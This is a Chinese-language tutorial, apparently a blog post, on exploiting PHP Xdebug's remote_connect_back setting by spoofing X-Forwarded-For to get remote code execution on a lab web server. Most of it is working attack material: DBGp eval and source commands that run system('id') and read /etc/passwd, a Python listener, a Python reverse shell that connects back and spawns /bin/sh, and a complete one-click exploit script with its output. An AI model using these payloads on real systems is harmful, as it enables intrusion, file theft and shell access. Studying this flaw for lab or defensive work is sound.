基础知识

工作原理

xedbug是一个调试php程序的扩展程序,因为php是一个写网站的语言,他的调试和python Java等也有所不同,

几个常见配置

1
2
3
4
5
6
7
8
9
10
11
12
设置调试工具,
xdebug.idekey="PHPSTORM"

绑定远程调试主机地址
xdebug.remote_host=localhost

远程主机监听的端口
xdebug.remote_port=9000
开启回连
xdebug.remote_connect_back = 1
开启xdebug
xdebug.remote_enable = 1

回连地址

xdebug的回连地址是通过自定义header,来判断回连到哪一个ip地址,

一般由三个属性决定

1
2
3
4
5
xdebug.remote_addr_header

X-Forwarded-For

Remote-Addr

xff是可以在请求头中伪造的,所以就算配置了其他的两个,也没有关系,照样可以连接到我指定的ip地址上

固定ip模式

默认情况下,

1
xdebug.remote_connect_back = 0

也叫固定ip模式

这种情况下,后台会去访问

xdebug.remote_host=localhost

xdebug.remote_port=9000

这一对ip 和端口,默认是localhost:9000 这样只适合单一客户端请求

非固定ip模式

1
xdebug.remote_connect_back = 1

这时后台会去访问回连地址。依次访问

这时候问题就出现了,如果在请求头中加入一个xff字段,那么就可以让服务器回连到指定的ip地址上

利用条件

1
2
3
4
5
6
7

xdebug.remote_connect_back = 1 //开启回连 并且此选项开启时,xdebug会忽略xdebug.remote_host
直接把客户端ip当作回连ip,也就是谁访问它,谁就是回连ip

xdebug.remote_enable = 1 //开启xdebug

xdebug.remote_log = /tmp/test.log

DBGp协议

source

1
source -i transaction_id -f fileURI

transaction_id 貌似没有那么硬性的要求,每次都为 1 即可,fileURI 是要读取的文件的路径,需要注意的是,Xdebug 也受限于 open_basedir

利用方式

1
source -i 1 -f file:///etc/passwd

还可以利用php://filter ssrf等

脚本里面要这样写

1
conn.sendall('source -i 1 -f %s\x00' % data)

eval

1
2
3
4
5
eval -i transaction_id -- {DATA}

{DATA} 为 base64 过的 PHP 代码。 利用方式(c3lzdGVtKCJpZCIpOw== == system("id");):

eval -i 1 -- c3lzdGVtKCJpZCIpOw==

脚本里面要这样写

1
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

property_set

代码执行 和eval一样,要是eval被禁了,可以用这个

1
2
3
/* Do the eval */
eval_string = xdebug_sprintf("%s = %s", CMD_OPTION('n'), new_value);
res = xdebug_do_eval(eval_string, &ret_zval TSRMLS_CC);

利用方式

1
2
property_set -n $a -i 1 -c 1 -- c3lzdGVtKCJpZCIpOw== 
property_get -n $a -i 1 -c 1 -p 0

脚本里面要这样写

1
conn.sendall('property_set -n $a -i 1 -c 1 -- %s\x00' % data.encode('base64'))

利用过程

请求头

1
2
3
4
5
6
7
8
9
10
GET /index.php?XDEBUG_SESSION_START=phpstrom HTTP/1.1
Host: 192.168.110.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For:192.168.110.1
Connection: close
Upgrade-Insecure-Requests: 1

本地监听9000端口

1
2
3
4
5
6
nc -lvp 9000
listening on [any] 9000 ...
192.168.110.140: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.110.1] from (UNKNOWN) [192.168.110.140] 53884: NO_DATA
486 <?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///var/www/html/index.php" language="PHP" xdebug:language_version="7.1.12" protocol_version="1.0" appid="23" idekey="phpstrom"><engine version="2.5.5"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2017 by Derick Rethans]]></copyright></init>

可以确定服务端开启了xdebug,并且开启了远程连接

攻击链

先是burp发送请求访问调试界面,这时因为xdebug开启了回连,依次请求

1
2
3
4
5
xdebug.remote_addr_header

X-Forwarded-For

Remote-Addr

当访问到X-Forwarded-For的时候,就会访问其所指向的ip和端口(端口默认是9000,会自动的去请求9000端口,所以ip上不用加上9000端口),这时在本地监听9000端口就可以收到xdebug发送的请求

执行命令

创建一个exp2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
client_data = conn.recv(1024)
print(client_data)

data = raw_input('>> ')
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

这段代码就是代替nc 监听9000端口(eval可以换成source property_set等)

主机运行

1
python2 exp2.py

burp发包

1
2
3
4
5
6
7
8
9
10
GET /index.php?XDEBUG_SESSION_START=phpstrom HTTP/1.1
Host: 192.168.110.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For:192.168.110.1
Connection: close
Upgrade-Insecure-Requests: 1

还是刚才那个数据包

也可以这样,更方便一点

1
curl 'http://192.168.110.140/index.php?XDEBUG_SESSION_START=PHPSTORM' -H "X-Forwarded-For:你的公网IP地址"

在回弹的窗口中执行

1
2
3
>> system('ls');
263 <?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="9" encoding="base64"><![CDATA[aW5kZXgucGhw]]></property></response>

注意这里的ls命令是在linux下的 如果在windows下,需要cmd命令

这一段

1
[CDATA[aW5kZXgucGhw]]>

base64解码 就可以拿到文件名 ==>index.php

file协议读文件

1
2
3
>> system('curl file:///etc/passwd')
348 <?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="72" encoding="base64"><![CDATA[c3lzdGVtZC1idXMtcHJveHk6eDoxMDM6MTA2OnN5c3RlbWQgQnVzIFByb3h5LCwsOi9ydW4vc3lzdGVtZDovYmluL2ZhbHNl]]></property></response>

这里好像有字符数量限制

利用source读文件

1
2
只需要把eval改成这样
conn.sendall('source -i 1 -f file:///%s\x00' % data)

这里还是有点问题,不能一次读完 貌似得用绝对路径

用index.php的时候,报错没找到文件 ./index.php也不行

1
2
3
>> ./index.php
283 <?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="source" transaction_id="1" status="starting" reason="ok"><error code="100"><message><![CDATA[can not open file]]></message></error></response>

连续两次命令,会把第一次没有发送完的文件,在发送过来(难道是nc接受的问题??? 或者是服务端限制了文件的大小,当第二次读文件的时候,会从上一次结束的地方,继续往下读)

1
2
3
4
5
>> /etc/passwd
1805 <?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="source" transaction_id="1" encoding="base64"><![CDATA[cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9u
>> /etc/passwd
b2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtdGltZXN5bmM6eDoxMDA6MTAzOnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb24sLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzdGVtZC1uZXR3b3JrOng6MTAxOjEwNDpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQvbmV0aWY6L2Jpbi9mYWxzZQpzeXN0ZW1kLXJlc29sdmU6eDoxMDI6MTA1OnN5c3RlbWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kL3Jlc29sdmU6L2Jpbi9mYWxzZQpzeXN0ZW1kLWJ1cy1wcm94eTp4OjEwMzoxMDY6c3lzdGVtZCBCdXMgUHJveHksLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UK

反弹shell

用python反弹一下

1
2
3
4
5
6
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.110.1",9999));os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

写木马

利用base64

1
2


访问shell.php 可以执行phpinfo()

这里附上 exp p神的一键脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
from concurrent.futures import ThreadPoolExecutor


pool = ThreadPoolExecutor(1)
session = requests.session()
session.headers = {
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}

def recv_xml(sock):
blocks = []
data = b''
while True:
try:
data = data + sock.recv(1024)
except socket.error as e:
break
if not data:
break

while data:
eop = data.find(b'\x00')
if eop < 0:
break
blocks.append(data[:eop])
data = data[eop+1:]

if len(blocks) >= 4:
break

return blocks[3]


def trigger(url):
time.sleep(2)
try:
session.get(url + '?XDEBUG_SESSION_START=phpstorm', timeout=0.1)
except:
pass


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
parser.add_argument('-t', '--target', required=True, help='target url.')
parser.add_argument('-l', '--listen', default=9000, type=int, help='local port')
args = parser.parse_args()

ip_port = ('0.0.0.0', args.listen)
sk = socket.socket()
sk.settimeout(10)
sk.bind(ip_port)
sk.listen(5)

pool.submit(trigger, args.target)
conn, addr = sk.accept()
conn.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(args.code.encode()), b'\x00']))

data = recv_xml(conn)
print('[+] Recieve data: ' + data.decode())
g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
if not g:
print('[-] No result...')
sys.exit(0)

data = g.group(1)

try:
print('[+] Result: ' + base64.b64decode(data).decode())
except binascii.Error:
print('[-] May be not string result...')

结果

1
2
3
4
E:\tools\netcat>python3 exp.py -t http://192.168.110.140:8080/index.php -c "shell_exec('id');"
[+] Recieve data: <?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="54" encoding="base64"><![CDATA[dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK]]></property></response>
[+] Result: uid=33(www-data) gid=33(www-data) groups=33(www-data)

参考链接

https://blog.spoock.com/2017/09/19/xdebug-attack-surface/

https://paper.seebug.org/397/

https://www.restran.net/2017/09/16/php-xdebug-cmd-exec/

https://github.com/vulhub/vulhub/blob/master/php/xdebug-rce/exp.py